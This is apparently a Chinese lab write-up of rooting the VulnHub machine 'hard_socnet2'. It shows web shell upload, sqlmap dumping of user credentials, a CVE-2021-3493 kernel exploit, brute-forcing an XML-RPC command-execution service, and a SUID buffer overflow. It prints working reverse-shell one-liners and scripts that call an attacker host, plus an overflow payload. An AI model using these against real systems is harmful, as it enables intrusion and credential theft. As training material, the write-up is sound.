靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
难度等级: 高
打靶目标: 取得 root 权限
参考链接:
涉及攻击方法:
主机发现
端口扫描
SQL注入
文件上传
蚁剑上线
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写
本次难度较高,用到了许多在真实环境中可能不会用到的高难度技巧,如缓冲区溢出、动态调试与逆向等等,靶机没有flag,目标为取得root权限
我们直接使用arp-scan
进行扫描
sudo arp-scan -l
sudo nmap -p- 10.0.2.7
发现开放了22,80,8000端口,在查看一下在开放端口开启的服务
sudo nmap -p22,80,8000 -sV 10.0.2.7
22端口开放的是ssh服务,80端口开放的是Apache
服务,8000端口开放的是http
的服务使用的是python
的服务器脚本语言开启的一个BaseHTTPServer
使用浏览器对web服务端口进行访问一下
501服务端错误,不支持GET
方法,那我们使用burp
对服务器提交其他类型的请求方法
我们尝试使用OPTIONS
,POST
,PUT
,DELETE
等等都不行,那我们去其他服务看看,去80端口看看
发现这是一个登陆页面,那我们谁不是可以使用万能密码进行登陆,或者进行爆破,无法爆破以为经验证发现要是用邮箱进行登陆,并且我们不知道任何关于账号密码的信息。但是这个登陆页面虽然无法登陆,但是我们可以进行注册,然后再登陆呀!
注意:我们再进行一下渗透过程当中,面对这些开放了注册功能的网站的时候绝对不要使用任何有关的真实的个人信息,一定要使用虚假的个人信息。
成功登陆后台,发现提示
你好,朋友们!我一直在开发一个监控服务器的新脚本。它叫做monitor.py
我正在这个服务器上运行它。我很快就会发布!
在后台我们发现了一个可以更改头像的功能
这是一个非常典型的上传漏洞利用,直接上传一个一句话木马 发现竟然直接上传成功了
打开蚁剑直接连接
同时表单处是存在sql注入
的
那我们可以直接调用sqlmap
查看一下数据库 --dbs
查看一下表
sqlmap -r r -p query -D socialnetwork --tables
查看一下列
sqlmap -r r -p query -D socialnetwork -T users --columns
如果我们要登陆的话要email和password
sqlmap -r r -p query -D socialnetwork -T users -C user_email,user_password --dump
我们尝试登陆一下之前的web页面,查看一下管理员账号是否存在其他的功能,没发现其他功能和有用的信息,既然我们获得了这三个账号的密码,那我们可以尝试去使用ssh登陆一下
我们回到蚁剑,使用我们刚刚获得的低权限用户进行提权
内核是4.15的内核,是一个Ubuntu的操作系统,这是一个Ubuntu 18.04.1 LTS
的版本,现在最新的是18.04.5,而Ubuntu今年刚刚爆出了一个针对Ubuntu的本地的提权漏洞的利用方法CVE-2021-3493
在kali上面直接下载
git clone https://github.com/inspiringz/CVE-2021-3493.git
蚁剑上传文件,编译一下
gcc -o exp exploit.c
赋予执行权限
chmod +x exp
直接执行一下exp
./exp id
方便一点我们使用nc
来连接,经过测试在靶机上的nc
是不支持-e
参数的
我们接着使用nc
串联的方式或者我们来使用一种新的方法
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 3333 >/tmp/f
kail
开启监听
nc -lvnp 3333
使用python
对当前shell进行升级
python -c "import pty; pty.spawn('/bin/bash')"
但是这台靶机是2020年的,这个提权漏洞是2021年的。我们用本朝的剑斩了前朝的官,按方向来说是没问题的,但是,我们要回到过去,如何用前朝的剑斩了前朝的官了。
我们回到低权限用户,不使用cve-2021-3493
查看一下cat /etc/passwd
发现存在bash
登陆权限的用户,这应该是某个应用程序的管理账号,我们去/home
去看看有没有这个属于这个账号的主目录
还真的有,我们进去看看
monitor.py
很眼熟对不对,我们之前在web页面发现的那个,并且提示说这个脚本已经运行了,我们查看一下,看看系统进程里面是不是存在这个文件
ps aux | grep monitor
我们查看一下程序源码,看看这个程序是不是有漏洞,可以帮我们实现提权这个操作
# www-data@socnet2:/home/socnet$ cat monitor.py #my remote server management API 提示我们说这是一个远程服务的api接口 # 这里导入了库 import SimpleXMLRPCServer import subprocess import random # 定义变量,生成1000-9999的一个数 debugging_pass = random.randint(1000,9999) # 定义函数,执行某些功能 # 这个runcmd函数,创建一个新的进程执行传入的命令 def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return output # 查看调用runcmd函数,查看cpu的信息 def cpu(): return runcmd("cat /proc/cpuinfo") # 查看调用runcmd函数,查看内存使用的信息 def mem(): return runcmd("free -m") # 查看调用runcmd函数,查看磁盘存储的信息 def disk(): return runcmd("df -h") # 查看调用runcmd函数,查看网络配置的信息 def net(): return runcmd("ip a") # 这个函数执行cmd命令,但是这个cmd命令是可控的,但是这个要使用到passcode变量,并且这个passcode变量要跟前面定义的debugging_pass随机生成的数字要一样才可以执行后面的cmd命令,但是我们如何获得这个随机生成的值了--->爆破 def secure_cmd(cmd,passcode): if passcode==debugging_pass: return runcmd(cmd) else: return "Wrong passcode." t # 这个8000端口我们之前就探测到了,但是之前发送的post get put等请求都是无效的信息,原来这个只接收XML-RPC的请求 server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) # 这里只要知道函数名称就可以使用xml-rpc对服务端发起请求,就可以执行命令了 server.register_function(cpu) server.register_function(mem) server.register_function(disk) server.register_function(net) server.register_function(secure_cmd) server.serve_forever()
补充XML-RPC
的知识点
https://baike.baidu.com/item/XML-RPC/10888726?fr=aladdin
简单来说就可以利用这个方法在服务端生成api接口,可以接收同样是使用XML-RPC的客户端访问服务器端的api去运行服务端的函数,从而实现应用程序交互的效果
在官网我们找到了XML-RPC
的使用方法
https://docs.python.org/zh-cn/3/library/xmlrpc.html
server端
from xmlrpc.server import SimpleXMLRPCServerdef is_even(n): # 定义函数 return n % 2 == 0server = SimpleXMLRPCServer(("localhost", 8000)) # 开启服务print("Listening on port 8000...") server.register_function(is_even, "is_even") server.serve_forever()
client端
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy: print("3 is even: %s" % str(proxy.is_even(3))) print("100 is even: %s" % str(proxy.is_even(100)))
爆破脚本编写
import xmlrpc.clients = xmlrpc.client.ServerProxy('http://192.168.1.10:8000')for x in range(1000,10000): res = s.secure_cmd('id',x) if not "Wrong" in res: print("Pass:"+str(x)) break
反弹shell脚本
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://10.0.2.7:8000/") as proxy: cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.2.4 6666 > /tmp/f" r = str(proxy.secure_cmd(cmd,4513)) print(r)
成功拿到shell,进入/home
目录下的socnet的目录下查看一下有什么
我们已经获得了socnet
这个账号的权限,接下来我们要再进行提权进行升级,升级到我们的root账号的权限,那如何提权了?我们意外的发现了add_record
有suid
修饰符,而且所属账号还是root得
查看一下add_record
的文件类型,是ELF
跟window的exe
文件基本上一样,并且这个文件执行的时候还调用了setuid
和setgid
权限位,那我们就要针对这setuid
和setgid
权限位进行提权
然后我们发现了peda
是用来进行动态调试的
https://blog.csdn.net/SmalOSnail/article/details/53149426?locationNum=1&fps=1'
那我们就可以使用peda
对add_record
进行动态调试来实现对漏洞的挖掘,例如内存溢出,堆溢出,类似这样子的漏洞,进而使用这样的漏洞进行本地提权
我们先查看一下这个程序有那些入口点,那我们可以来执行一下这个程序
使用这个程序可以添加关于社交网络2.0员工的信息,我们随便提交信息查看一下
此时目录下多出了一个文件,我们再增加条信息看看
针对每一个可以提交数据的入口点挨个提交数据,测试是否存在内存溢出漏洞
gdb -q ./add_record
gdb
是一个程序的动态调试工具,通过这个工具我们可以跟踪,监视这个程序在运行过程中,所有的计算机的寄存器,堆栈,内存的使用情况,每一次函数的调用,每一次的内存的变化,都可以进行非常详细的跟踪和判断,那我们就可以具体了解到是那一次的数据的提交,可以造成内存数据的溢出。
输入r
程序才可以被正式的加载执行
我们输入大量的500个A去监视内存的变化
程序正常的直接退出了,这个位置好像不行,换一个,最后发现在工作失误描述那个输入点发现内存溢出
此时堆栈中出现了大量的A工作失误描述这个点没有做内存范围的限定,导致了溢出到了堆栈中
EIP寄存器中保存的数据是CPU接下来要运行的下一指令的放置的内存地址的编号,我们现在要确定是那个A覆盖到了EIP寄存器当中,只要判定出来就可以替换为我们的payload地址,然后可以执行我们的代码了
一百个A也会导致溢出,那究竟是一百个A中的哪一个了,我们可以使用gdb
生成特征字符
出现了AHAA
是那个位置了?
是第62个字符,那么从63个字符开始就会进入到EIP
寄存器当中,我们构造一下需要注入到里面的内容,我先测试一下
生成62个字符+BCDE
,在丢到pdb
里面调试
我们现在可以精准的向寄存器写入我们需要执行的数据。我们查看一下这个程序的汇编代码
disas main # 显示汇编代码
我们对put函数之前设置一个断点
已经触及到了断点,接下来就要去执行puts函数了
输入s命令使其单步执行
我们要把汇编程序的代码和程序的每个功能对应起来,一步一步的调试
puts是显示欢迎信息,printf是输入用户名,下一个printf是输入你的工作年限,以此类推,下一个printf是输入你的工资的数量,下个是你个工作是否出现问题,我们在查看汇编代码的时候突然发现了vuln函数
这里没有@说明不是内嵌函数而是开发者自己写的函数,这个函数的功能是什么,我们需要进一步的调查,我看查看一下这个应用程序中所有定义的函数
info func
发现调用了suid函数,system函数出现什么这个应用程序中是由调用命令执行系统命令的操作的,那我们就要想办法使这个system函数去执行我们的payload
接下来我们发了 vuln 和 backdoor 这两个函数
我们针对vuln查看一下它调用了那些指令
我们发现strcpy@plt
这个函数,通过搜索我们发现这个函数在历史版本是存在缓冲区溢出的漏洞
我们在查看一下backdoor这个函数
这里是通过backdoor函数调用给了suid函数请求到响应的权限然后再执行system函数,system执行了那些系统指令了,我们现在还不知道,那我们对system函数执行一下跟踪,我们获取这个backdoor函数起始的内存地址0x08048676
,如果我们能把这个地址写入EIP寄存器的话,我们就可以通过程序的正常执行Explain那个变量注入的数据,在62个字符后,把这个地址放进去,进而EIP寄存器就会读取backdoor下的所有指令,然后一步步跟进,看看system调用了什么函数。
再输入了变量后会执行vuln函数,主程序会执行vuln函数,vuln又会调用那个存在漏洞系统内嵌的strcpy@plt
函数,接着发现主函数是没有调用backdoor这个函数的,利用主程序里加载的vuln函数,对它进行缓冲区溢出漏洞向EIP寄存器写入backdoor函数的起始内存地址,通过vuln的函数去执行backdoor函数,用backdoor函数去执行suid这个系统函数,执行system函数,进而执行到system函数当中执行的操作系统的命令,判定出system执行的系统命令是什么,看看有没有办法注入更多的payload,进而实现利用,实现本地提权的目的
这里我们要注意一点
这里的顺序是颠倒过来的,42对应B 43对应C 44对应D 45对应E 内存中是颠倒的,这是CPU架构的大头和小头导致的,我们要把backdoor的地址写入到这里的话,我们也要颠倒过来写入,接下来我们使用backdoor函数的起始内存地址和之前的溢出的A拼接起来
构造payload
python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
q退出pdb调试
接下来我们要把这个payload一次性的输入给这个应用程序,看看这个应用程序会不会有一些漏洞的产生
这里告诉我们产生了一个新的进程 进程ID21802 这个进程执行了一个 /bin/dash ,接下来又创建了一个新的进程 执行了 /bin/bash
,我们需要对vuln函数进行下断点,查看一下backdoor函数是如何添加进来的,backdoor又是如何导致了bash和dash程序被加载进来的
按s进行不断的跟进
当backdoor函数执行到23条指令的时候,就开始调用suid函数了
此时说明我们刚刚注入起始函数的起始内存地址已经被正常加载了,一直跟进
此时suid已经向系统申请权限完成,准备执行system函数,system调用了那些操作系统指令了,我们继续跟进
此时寄存器中出现了/bin/bash
,通过system函数,要把/bin/bash这个指令push到eax寄存器里面,然后交给cpu去执行,cpu执行的结果就是/bin/bash
漏洞成因:这个应用程序的主程序代码里面又一个vuln函数,这个函数是有漏洞的,这个漏洞来源于strcpy@plt`这个函数存在缓冲区溢出漏洞,因为调用了这个存在缓冲区溢出漏洞的函数,所以vuln函数也就存在了漏洞,而由于我们在Explain输入数据的时候,这个数据会导致vuln函数的缓冲区溢出函数被我们触发从而改写EIP寄存器当中的具体地址,进而我们通过这个改写的地址将backdoor这个函数这个他的内存当中的内存地址给他写入EIP寄存器当中,通过这种方法,通过vuln函数的漏洞加载了backdoor函数,而backdoor函数当中调用了system系统命令同时也调用了suid请求了suid的权限,以属主(root)的权限运行了这个权限,所以以root权限执行了这个程序,执行程序当中调用了system这个系统函数,而system系统函数又执行了最终cpu请求给他执行的/bin/bash的操作系统的shell,从而利用这一系列的漏洞,内存的跟踪,查看,分析他的汇编代码,最终定位找到了这个漏洞的具体存在位置,接下来我们只要正常的触发这个漏洞的执行,最终就会通过这个函数执行bash,这个bash将会是以root权限执行的
cat payload - | ./add_record
此时我们获得了一个黑屏的画面
未得到更友好的shell,我们在执行一下之前反弹shell的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 8888 >/tmp/f